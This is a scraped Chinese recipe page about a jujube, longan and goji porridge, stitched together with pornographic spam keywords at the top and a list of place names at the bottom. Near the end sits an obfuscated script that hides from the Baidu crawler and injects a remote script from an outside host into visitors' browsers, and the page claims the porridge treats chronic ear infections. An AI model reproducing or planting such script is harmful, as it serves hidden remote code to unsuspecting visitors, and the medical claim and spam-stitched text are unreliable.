亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

棗肉圓肉枸杞粥的做法與功效

2017-07-07 03:25:21  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:爸爸媽媽上了年紀(jì),看著慢慢老去的他們,不知道該怎樣回報(bào)他們。年假放假回家,一家人坐在一起看電視節(jié)目??吹矫朗彻?jié)目正在介紹棗肉圓肉枸

爸爸媽媽上了年紀(jì),看著慢慢老去的他們,不知道該怎樣回報(bào)他們。年假放假回家,一家人坐在一起看電視節(jié)目??吹矫朗彻?jié)目正在介紹棗肉圓肉枸杞粥的做法以及功效,覺著不錯(cuò),偷偷地記了下來,第二天早上做給了父母吃,看著他們開心的吃著自己做的棗肉圓肉枸杞粥,心里愉快極了。

時(shí)間總是在不知不覺間溜走,而我們陪伴在老去的父母身邊的日子也越來越少。能自己動(dòng)手為爸爸媽媽做一次東西,感到十分的滿足。

主料

棗肉15克,圓肉20克,枸杞20克,粳米100克

制作方法:

煮粥,粥煮好后加適量白糖調(diào)味服用。每日2次。

藥用價(jià)值:

枸杞既是傳統(tǒng)名貴中藥材,又是一種營養(yǎng)滋補(bǔ)品。在衛(wèi)生部公布的63種藥食兩用的名單中,名列榜首。[1]作為傳統(tǒng)中藥,枸杞性平味甘,具有滋補(bǔ)肝腎、益精明目、潤肺的功效。通過化學(xué)成分分析,枸杞的果實(shí)檢測出含有豐富的天然胡蘿卜素、維生素C、枸杞蛋白多糖、甜菜堿、亞油酸以及鐵、磷、鈣等營養(yǎng)成分,有補(bǔ)虛安神、明目祛風(fēng)、滋腎潤肺以及護(hù)肝抗腫瘤等作用。

大棗,又名紅棗、干棗、棗子,起源于中國,在中國已有八千多年的種植歷史,自古以來就被列為“五果”(栗、桃、李、杏、棗)之一。紅棗富含蛋白質(zhì)、脂肪、糖類、胡蘿卜素、B族維生素、維生素C、維生素P以及鈣、磷、鐵和環(huán)磷酸腺苷等營養(yǎng)成分。其中維生素C的含量在果品中名列前茅,有維生素王之美稱,具有補(bǔ)血養(yǎng)顏治療失眠之功效。

棗肉圓肉枸杞粥主要治療慢性化膿性中耳炎腎陰虛型:耳內(nèi)膿液色白或可見黃稠,聽力下降,腰膝酸軟、頭暈耳鳴、多夢、口苦咽干、潮熱,舌紅無苔,脈細(xì)數(shù)。

粥類食物的做法簡單易學(xué),就算沒有絲毫經(jīng)驗(yàn),只要你有一口煮鍋,還有相應(yīng)的原材料就一定能做好。時(shí)間總是在不知不覺間溜走,而我們陪伴在老去的父母身邊的日子也越來越少。能自己動(dòng)手為爸爸媽媽做一次東西,感到十分的滿足。一道既能溫暖爸媽的心,又能延年益壽的棗肉圓肉枸杞粥,你值得擁有。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
柳江县| 灵山县| 桃江县| 南召县| 翼城县| 宁化县| 阳谷县| 吉林省| 安西县| 保山市| 团风县| 太仆寺旗| 东乡族自治县| 平泉县| 白玉县| 临湘市| 中宁县| 德清县| 木里| 三河市| 承德市| 唐海县| 平安县| 洛阳市| 诏安县| 绍兴市| 商南县| 西昌市| 洪雅县| 汾阳市| 阿拉善盟| 临清市| 陵水| 台北市| 乃东县| 永顺县| 南通市| 九龙城区| 平阴县| 张掖市| 当雄县|